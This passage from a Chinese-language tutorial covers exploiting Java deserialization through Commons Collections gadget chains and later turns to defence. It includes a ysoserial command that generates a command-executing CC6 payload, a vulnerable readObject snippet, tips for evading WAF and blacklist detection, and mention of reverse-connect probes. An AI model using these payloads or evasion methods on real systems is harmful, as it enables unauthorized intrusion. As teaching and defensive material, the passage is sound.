为什么CC3经常被用作备选链CC3在某些场景下比CC6更“优雅”因为它不需要经过Runtime.class到getRuntime再到exec这样的多段反射调用而是直接通过TemplatesImpl加载字节码。攻击者把恶意类的字节码存进TemplatesImpl的_bytecodes字段再通过TrAXFilter的构造函数触发newTransformer()最终导致字节码被加载执行。这条链的精髓在于“加载字节码”这个动作比“调用exec”更灵活——你可以加载任意类执行任意逻辑不仅限于命令执行。换句话说CC3通常可以配合内存马注入、代理注入等更高级的攻击手法。在实战中CC3很多时候用来绕过某些安全产品对InvokerTransformer拼接特征的检测。因为CC3的核心触发从“反射调用多个方法”变成了“加载一个类”攻击特征有明显差异。4. 实操复盘从生成Payload到拿下本地靶机4.1 准备一个本地环境Linux 老版本Commons Collections工欲善其事必先利其器。你不需要真的去外网打什么站点本地搭个实验环境完完全全够了。准备步骤如下一台Linux虚拟机或者容器建议用Ubuntu 20.04或更新一点的版本。JDK版本选择建议想完整复现各类CC链用JDK 8u66以前的版本最舒服这个版本对AnnotationInvocationHandler没有任何限制新一点的JDK 8也可能行但部分链子会挂。下载Apache Commons Collections 3.1或3.2.1版本放classpath里。写一个简单Servlet或者一个main函数模拟反序列化入口比如从文件或者二进制流里直接readObject()。这一步你自然就会明白为什么很多项目在接收用户输入后会坠入安全深渊。4.2 使用ysoserial生成Payload用ysoserial生成Payload的命令异常简单java -jar ysoserial.jar CommonsCollections6 touch /tmp/cc6_pwned cc6.ser执行完你将得到一个cc6.ser文件。注意ysoserial生成的Payload是Java原生序列化格式不含任何明文特征直接把文件发出去就能触发目标应用反序列化逻辑。如果你想验证某个目标版本也可以先生成再用自己的本地程序接收这个文件做测试确认链路在目标JDK和组件版本下可用。这一步能省去你后续大量试错的时间。4.3 目标靶场的反序列化触发验证你在本地起的靶场程序最核心的逻辑就一句话ObjectInputStream ois new ObjectInputStream(new FileInputStream(poc.ser)); ois.readObject();这个程序虽然是学习用的但它完美模拟了真实业务中两个危险场景对外提供的RPC服务直接反序列化请求体或者某个接口把用户上传的文件当成了序列化数据去读。攻击侧只要把生成的.ser文件传给这个程序等它执行完readObject()命令就静悄悄跑完了。你可以通过日志或者文件系统变化来判断命令是否执行成功。4.4 多版本链子的横向测试记录我搭环境做实验的时候习惯把CC1、CC3、CC6三条链都生成一遍然后挨个试。有一次我用的是JDK 8u45 Commons Collections 3.2.1三条全成换到JDK 8u191后CC1失手CC6稳定CC3稳定再换到Commons Collections 4.0CC6还是能通但CC1彻底走不通。结论就一句话链子的可用性和环境强相关。在做任何测试之前先确认目标的Java版本、Commons Collections版本、以及是否用的是高版本JDK限制了某些反射调用。搞明白这三点你的成功率会直线上升。4.5 真实环境里那些不能说的细节在攻防演练中很多时候目标没有直接暴露反序列化入口需要通过一些变形或二次封装才能触达。比如目标用ObjectInputStream的子类重写了resolveClass()会过滤部分类名——这时可能需要使用不在黑名单里的类作入口。目标的请求协议是XMLDecoder或者JSON需要先转成Java反序列化格式才能触发。目标将Payload做了一层Base64或Hex编码——你需要有适配层来解码。这些细节靠背步骤是学不来的只能一个个环境去摸去踩。当然你知道原理之后遇到这些变形也不会慌核心链没变变的只是入口和数据包装方式。而且记住一点你手里所有测试都必须在你拥有合法授权的环境下进行这不仅是对他人负责也是保护你自己。5. 常见的问题排查与踩坑实录5.1 为什么生成的Payload本地执行无反应这种情况几乎所有人都会遇到。最容易忽视的坑就是lazyMap里的缓存键没有清除。当你构造HashMap时已经触发过一次hashCode()导致LazyMap里存了key反序列化时走同样的key路径LazyMap直接返回缓存值链子断了。解决办法就是像上面写的那样在序列化前把lazyMap中的key移除。如果用了ysoserial生成这步由工具内部处理好了所以没啥感觉等手写时才发现这么个坑。还有一种可能是你的构造过程和反序列化过程处在不同类加载器环境Transformer[]内部的部分对象没有被正确序列化。把序列化前后的类路径打出来对比一下基本能定位到问题。5.2 明明版本匹配还是触发失败版本匹配是必要条件但不是充分条件。你可能忽略了JDK对反射的限制高版本JDK对sun.reflect.annotation.AnnotationInvocationHandler等内部类增加了很多校验逻辑导致readObject走到一半就抛出异常。这时你的第一直觉应该是换一条对JDK版本不那么敏感的链子比如CC6或者尝试CC5。另有一个容易被忽略的点某些应用在反序列化前会先做一层对象反序列化过滤比如ObjectInputFilter。这种情况下即使你的链子本身没问题它也可能在反序列化的早期阶段就被拦截了。可以试着用一个简单对象做白名单测试确认过滤规则里到底放行了哪些类再调整链子的入口类。5.3 利用链被杀软或WAF拦截怎么办常见的拦截思路有两种黑名单类名匹配拦截Payload里的Runtime、ProcessBuilder、TemplatesImpl等类名。应对思路是换用不在黑名单内的跳板类比如某些中间件的内部类只按动态字节码加载来动作不会直接出现Runtime字符串。特征字符串匹配拦截getRuntime、exec等固定字符串。应对思路是利用TemplatesImpl加载自定义字节码把命令执行逻辑放在自定义类里Payload里就不需要存在敏感字符串。但是注意这些“绕过”思路只能在授权的攻防演练或漏洞研究中讨论。现实场景里为了对抗检测而研究绕过是有门槛的在入门阶段你更应该把所有精力放在原理理解和标准利用上。把CC6、CC1先跑通再考虑对抗。5.4 手写链子时的本地调试技巧手写并调试一条CC链是理解序列化漏洞最扎实的路径。我用了两个实用手段第一条件断点。在ObjectInputStream.readObject()进来的方法入口打断点然后用单步跟进一步步看着调用栈怎么跳到LazyMap.get()再到Transform()。这个方法很慢但收益特别大因为你会亲眼看见方法调用是怎么一路传下去的。第二打印调用栈。在关键类的transform()方法或get()方法里临时加一行Thread.dumpStack()或打印异常堆栈能看到完整调用路径。再和ysoserial的源码路径做对比就能快速定位自己构造的数据“断”在哪里。6. 防御视角怎么堵上CC链的入口6.1 反序列化入口的治理清单从防御方角度看反序列化漏洞的根源往往不在CC链本身而在应用层随意接收反序列化数据。治理思路分这几条不接收不信任的序列化数据最彻底的办法重新设计接口丢掉Java原生序列化传输改用JSON等方式传数据。如果无法避免反序列化用白名单过滤启用ObjectInputFilter只允许反序列化已知的安全类彻底拦掉第三方组件里的风险类。升级组件版本把Commons Collections升到4.1目前官方已经修复了多数可被利用的TransformedMap/LazyMap序列化问题。上RASP或WAF动态检测反序列化时的行为特征在命令执行前对方法调用链做拦截和告警。大部分公司治理反序列化问题采取的都是组合拳先收敛入口再升级组件最后上运行态防护。缺一不可。6.2 实战侧如何检测和定位风险点检测反序列化风险最好的方法是做代码审计和组件资产盘点双管齐下。代码审计上搜索所有调用了ObjectInputStream.readObject()的位置确认传入数据是否可信。组件资产盘点用IDE插件或SCA工具扫一遍依赖树找出Commons Collections等组件的版本对照“已知可被利用版本”的清单。渗透测试视角下还有一个高效的验证方式向目标发送一段“探针”Payload比如让目标反向连接你的监听端口或写一个特定文件。如果探针生效基本能确认目标存在反序列化漏洞。这种方式合规且风险低比直接攻击要稳妥得多。6.3 理解纵深防御而不是只堵一条链最后必须强调一点CC链只是众多利用链中的一个。哪怕你把Commons Collections堵死还有C3P0、Fastjson、Shiro、Weblogic等等各自的利用方式。防御的思路不能变成“把这条链的类禁掉”而是要做纵深防御——从网络层缩小接口暴露面、从服务层校验数据来源、从运行态部署RASP、从主机层做命令执行的审计告警。这就像一个小区单靠一个门锁肯定不够还得有围墙、监控、保安巡逻多重防线一起上才能堵住大部分入侵方式。7. 后续学习路径与扩展思路7.1 从CC链到其他Gadget链的迁移掌握CC链的构造原理后再去学别的Gadget链会轻松很多。比如CommonsBeanutils这条链核心思路也是通过某个类的toString/hashCode触发危险方法Fastjson则是利用JSON反序列化时的type自动实例化再通过setter/getter方法做跳板。一句话总结它们都是“入口可控 中间跳板 终点危险方法”的套路。你可以把不同链子做成一张对比表看它们的入口类、调用链、限制条件。看多了就会形成肌肉记忆拿到一个版本环境能马上猜出哪条链大概率能通、哪条会挂。7.2 阅读ysoserial源码的高效姿势直接用文本编辑器读ysoserial源码效率很低因为代码之间引用关系复杂。我推荐的方式是先选一条链子最好是CC6从它的getObject()方法开始阅读。边读边用mvn依赖树看清楚它用了哪些版本的Commons Collections。对照源码中构造的对象类型逐行在真实环境里打断点走一遍。一次只啃一条链能复现了再换下一条。这么操作下来你可能两三天啃透一条链虽然慢但质量非常扎实。7.3 从攻击到防御这条路还能怎么延伸入门时你从攻击侧理解漏洞这很好但越往后越要主动从防御侧来看问题。一个完整的知识闭环应该是攻击链构造逻辑知道怎么打漏洞原理知道为什么能打修复方案知道怎么补检测规则知道怎么发现当你四个方向都能讲清楚才算真正把CC链“吃了”。很多优秀的安全研究员甚至能从一条老的CC链延伸到挖掘一个新的Gadget链这就是因为他们的底层知识足够深套路足够熟。我个人在实际操作中的体会是学CC链最忌讳的就是光看不练。你可以读一百篇文章不如自己花半天时间打断点走一条链子。顺利走通一次之后那种“原来如此”的透彻感是任何教程都给不了的。